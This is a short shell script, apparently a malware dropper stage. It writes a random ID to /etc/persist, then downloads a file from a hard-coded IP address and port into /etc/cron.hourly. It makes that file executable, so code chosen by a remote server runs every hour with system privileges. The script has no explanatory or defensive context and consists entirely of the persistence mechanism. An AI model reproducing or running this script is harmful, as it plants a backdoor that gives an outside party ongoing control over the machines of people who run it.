#!/bin/sh NEW_UUID=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1) echo $NEW_UUID > /etc/persist BASE="http://188.143.222.218:4455/persist?uuid=" wget -O /etc/cron.hourly/persist "$BASE$NEW_UUID" chmod +x /etc/cron.hourly/persist